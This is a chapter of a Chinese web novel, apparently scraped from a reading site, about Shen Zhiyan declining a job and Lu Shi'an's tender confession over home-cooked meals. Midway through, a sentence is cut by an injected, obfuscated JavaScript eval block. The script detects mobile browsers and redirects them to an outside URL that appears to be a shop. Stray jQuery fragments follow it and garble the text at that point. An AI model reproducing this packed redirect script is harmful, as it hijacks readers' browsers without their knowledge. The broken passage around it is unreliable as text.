45. 沐浴更衣

作品:《多云转甜[破镜重圆]

    吃喜欢的菜是最小单位的如愿以偿,陆时安做的炒空心菜没有完全复刻乡村味道,但也十分美味,沈栀言纳闷道,“为什么你们炒的这么好吃?我就做不好。”刚刚陆时安炒菜时她看了,调味料十分简单。


    “不是你做得不好,主要是火候,大火爆炒就好吃了,”陆时安解释,给她夹了一块鱼,“好吃也别光吃菜,吃肉。”


    难怪,她自己炒菜时很少开到最大火,怕油爆,怕炒糊。做菜也体现性格,她自己敲鸡蛋力气小,经常一下敲不开。陆时安有次大力敲鸡蛋,磕在碗沿,鸡蛋直接一分为二,蛋黄更是掉了出去。


    “笑什么呢?”陆时安问。


    沈栀言唇角更弯,“没什么,想起你之前敲鸡蛋,把蛋黄敲出去了。”


    那是大学的时候,他们住在一起。


    “不说我都忘了,”陆时安也笑,“谢谢沈老师帮我备份。”


    备份,形容得还挺生动。


    陆时安随口就能找到轻松有趣的角度,她就不行,什么事都容易认真。沈栀言收敛了情绪,“出去了几天,今天是不是很忙?投资的事想得怎样了?”


    “还好,我但是老板,不想忙就不忙,”陆时安说得轻松,真假难辨,他又给沈栀言夹了肉,“投资的事再考虑考虑,你呢?出去这几天,是不是落下不少进度?赶得累不累?”


    沈栀言吃了陆时安夹的肉,轻咬筷子尖,“失业”二字在嘴边打转,能绕外环跑出几圈。


    “怎么了?”陆时安早就察觉出她隐约不对,“随时可以和我说,没事的。”


    “我,”沈栀言心跳加快,好像在办公室等老师发落,委婉回答,“上一个项目结束了。”


    陆时安抬眼看她,“结束了啊?那得庆祝,打算休息一下吗?”


    沈栀言不咬筷子,举在手里,失业了可不就休息么,“嗯。”


    “帮我多遛遛大王,”陆时安继续吃饭,“兼职遛狗师,怎么样?”


    “其实,我最近去面试了一个岗位,”沈栀言说,语速微快,“面试通过了,但还没想好要不要入职。”


    提起“通过”时,她察觉到心底泛起一丝自信的微澜,比起分享近况,更像把通过面试当作一个身份证,好比上学时通过考试。


    “你不想去吗?”陆时安问她,但听起来更像陈述句。


    筷子还悬在半空,她自己都没搞清楚到底想不想,“你怎么知道?”


    陆时安笑,“要是想去就不会这样说,更不会考虑这么久。”


    “但我也不能一直没收入吧。”沈栀言说,话音刚落,忽然心口一阵轻松,“失业”这个沉重的包袱,就这么脱口而出,她忍不住轻轻呼了一口气。


    “你不会的,”陆时安说,“而且我觉得你的首要任务不是收入。”


    沈栀言错愕,“那是什么?提高能力?”


    陆时安伸出一根食指,左右摇了摇。


    “降低要求?”


    食指继续摇,“no。”


    “那是什么?”


    “你有没有发现,”陆时安神神秘秘,伸出的食指勾了勾,示意她凑近,沈栀言配合,陆时安揭晓答案,“你一直在吓自己,挑自己毛病。”


    “确实是,”沈栀言不意外,她自己也有所察觉,“所以呢?”


    “所以,你的首要任务,”陆时安手指还举着,像讲课的老师,又像算命先生,“是知足。”


    “知足?我没有不知足,”沈栀言解释,“现在的生活我也喜欢,就是人得工作嘛。”


    “不是这个知足,”陆时安说,“是对你自己知足。”


    沈栀言怔了一秒。


    “这你得向我学习,我一直都觉得自己做得挺多挺好。”


    沈栀言忽然笑,都笑出了声儿,“那年你和我一起写作业,累哭了,靠着我一边哭一边说自己太努力了,”越说越好笑,她缓了口气儿才接上,“最后磨得阿姨帮你请了一天假。”


    笑着笑着,忽然卸下一股劲儿,驱动她运转的发条毫无征兆地松开,嘎吱嘎吱刺耳的噪音也停止,之前她听得习惯,此时才觉察出大脑安静时,整个人从头到脚有多清爽。


    陆时安抿嘴笑,其实他是故意哭的,哭了她就会哄,轻声细语的,那时他还小,但就喜欢亲近她,“又一个黑历史。”


    “你说得对,我得像你学习,”沈栀言声音里带有笑意,“觉得自己太努力了。”


    “不过别要求自己,习惯没那么快改变,慢慢来。”


    “嗯。”


    吃完饭,陆时安在书房打印去村里拍的照片,沈栀言走到书房,本想和他告别回自己家,不等开口,陆时安忽然问:“还有个捷径要不要走?”


    “什么捷径?”


    陆时安又勾了勾手指,示意她凑近,沈栀言再次配合,陆时安附在她耳边悄声说:“我给你示范,多来和我吃饭,听我夸你。”沈栀言笑着嗔他一眼,又暗自觉得有道理,正要离开,忽然耳垂一热。


    陆时安气息呼在颈侧,在她耳垂落下轻吻,温暖柔软一触即分,人却立刻退开,就那样停在身后。


    沈栀言僵住,听着陆时安的呼吸声和她心跳的交响,她没动也没躲,小声问,“我还有一张适合照片墙的照片,要不要看?”


    她找出那张夕阳下陆时安的背影,瞬间点亮他的眼神,声音很轻,“偷拍我。”


    打印机再次启动,陆时安的背影从她眼里到电子像素,终于来到现实,“能不能打印两张,我想留一张。”


    “当然可以。”最后,陆时安从后面半环抱着她,一块儿将照片固定在了他的照片墙上。


    *


    洗漱完毕,沈栀言半靠在床头,手机上显示出她的搜索结果,那家公司员工们的发帖,明天必须要回复HR是否入职了。


    大多是说加班问题,因为每日业绩几乎很难完成,所以必须晚走,完成外呼数量,大家各自忙碌,缺少团队氛围。不过如果足够努力,想赚钱,是能赚到的。


    回顾工作历程,她最大的压力来源不是公司,她自己,永远追逐着虚无缥缈的“更好”。领导同事都对她很满意,离职时,每一家公司都挽留她,可她却压力不减,不觉得自己做得有多好。所以她总觉得自己对压力过于敏感,不够努力,毕竟加班的人那么多,工作辛苦的不止她一个。


    气温回暖,不用缩手缩脚,她调整了姿态,将枕头立在腰后,靠上的瞬间,舒适感从腰间蔓延,忽然想起王大爷家院子里,在躺椅上吹拂春风的惬意。


    她想做什么?


    其实答案早就有了,那个尽情休息,不去聊天的晚上、躺在摇椅上的中午、以及现在,自在地靠着床头。


    她就想歇着,什么都不干。


    让努力、生存、优秀、懂事见鬼去吧。


    她想起陆时安的建议,照葫芦画瓢地对自己说:工作了这么多年,已经很厉害了。


    如果明天醒来,想法还是不变,她知道该如何答复了。


    *


    沈栀言化身空心菜狂魔,前一天吃了爆炒空心菜,后一天又研究了菜谱,跟着视频炒辣椒酱,然后用空心菜煮了米线。


    辣椒酱、米线、豆皮、木耳、肉丝,全部是空心菜的配角。


    “我都归心似箭了,油门踩得飞起。”陆时安下班后冲回家里,一开门,晚饭已经在灶上等着他了。


    沈栀言几乎丢了一小盆空心菜去煮,“洗手吧,青菜烫熟了就好。”


    陆时安觉得过于夸张


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289670|192678||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他知道沈栀言最近痴迷于此,笑问:“这么多菜?”


    “嗯,我想吃。”


    “好,想吃就吃,”陆时安说,“工作的事考虑得怎么样了?”


    “我拒绝了。”不仅如此,简历都被压到抽屉最底下,沈栀言拿着筷子在锅中搅动,不太敢看陆时安的眼睛。


    “好啊,”陆时安爽朗回答,米线已经煮好,他接替沈栀言的岗位,将米线盛在两只大汤碗中,“好好休息。”


    沈栀言调酱料,“要是我以后一直想休息怎么办呢?”


    “人是闲不下来的,休息够了,就想做事,就算真的一直闲着也没关系,比起担心这个,”两碗米线端上桌,陆时安递给沈栀言筷子,“先吃饭,放心,不会有事的。”


    “哦对。”陆时安提醒了她,刚刚她的大脑又陷入噪音车间模式。


    看着碗里充足的空心菜,她夹起一根在小碗里蘸酱料,除了心满意足,还有神清气爽,这是她第一次主动给大脑静音。


    想掌握以后,让未来确定有路可走,就像小学时知道要升初中,高中时确定要考大学,可现在她不是学生了。


    或许连明天都不能确定,能确定的只有当下这一碗米线。


    “先吃饭,别想太多,”陆时安把自己碗里的肉夹给沈栀言两块,“吃完饭我有重要消息宣布。”


    沈栀言笑着“嗯”了一声,她早已习惯陆时安的脑回路,猜测是投资乡村的事有所进展。


    她夹起陆时安多分给她的肉,蘸了酱料送入口中,其实当下能确定的不只有米线,还有和她一起吃米线的人。


    陆时安卖关子不停,吃完饭还不行,要全部收拾妥当才肯宣布重磅消息,甚至还去洗了澡,说是要沐浴更衣。


    沈栀言坐在沙发上等,电视在直播篮球比赛,她一边看一边随手翻看新一期设计杂志。


    水声停下,陆时安换上家居服,带着潮湿走出来,边走边擦头发,发梢还在滴水。沈栀言觉得好笑,“说你着急,还要沐浴更衣,说你不急,头发都没擦干。”


    陆时安没接话,在她跟前的地毯上坐下。


    他抬起头,漆黑的大眼睛专注笼着她,目光浓郁柔软,沈栀言觉得自己仿佛被吸进了另一个时空,电视里篮球赛的喧哗变得遥远。


    她被看得脸颊发热,伸出双手按在毛巾上,替他擦头发,小声道:“看我干嘛?头发要擦干,春天容易感冒。”


    难道是投资的事直接有了定论?那个村子在陆时安心中不只是一个投资对象,而且还关系到他的事业方向,郑重对待也能理解。


    陆时安任她帮自己擦头发,毛巾遮住他的眼睛,露出挺直的鼻梁,粉润的双唇,刚刚吻过她的耳朵。她动作很轻,但擦到耳后时,她听见陆时安轻轻吸了口气。


    她的耳朵敏感,陆时安也是。


    毛巾拿开,那双眼睛又露出来,还是那样看着她,浓郁不减。


    “到底什么事?”沈栀言手指还攥着毛巾,“神神秘秘的。”


    陆时安双手轻轻放在她膝盖上。手掌温热,带着沐浴露香气,“吱吱。”


    “嗯。”沈栀言回答得很轻。


    是舒缓香气的沐浴露,清淡花香。大王团在窝里睡觉,电视里篮球比赛还在继续,窗外夜色渐浓,灯火明灭。


    “我觉得——”陆时安又停顿。


    沈栀言心跳加速,低头对上他仰起的脸,和那双大眼睛,如深潭,映着她的影子。


    陆时安双唇轻启,缓慢而坚定地继续,“你还喜欢我,对吗?”


    许是进了一个极其精彩的球,电视里传来解说和观众的欢呼,头发还是没有擦干,一滴水珠沿着额角滑落,沈栀言抬起手,替他轻轻抹去,被捉住了手轻握着。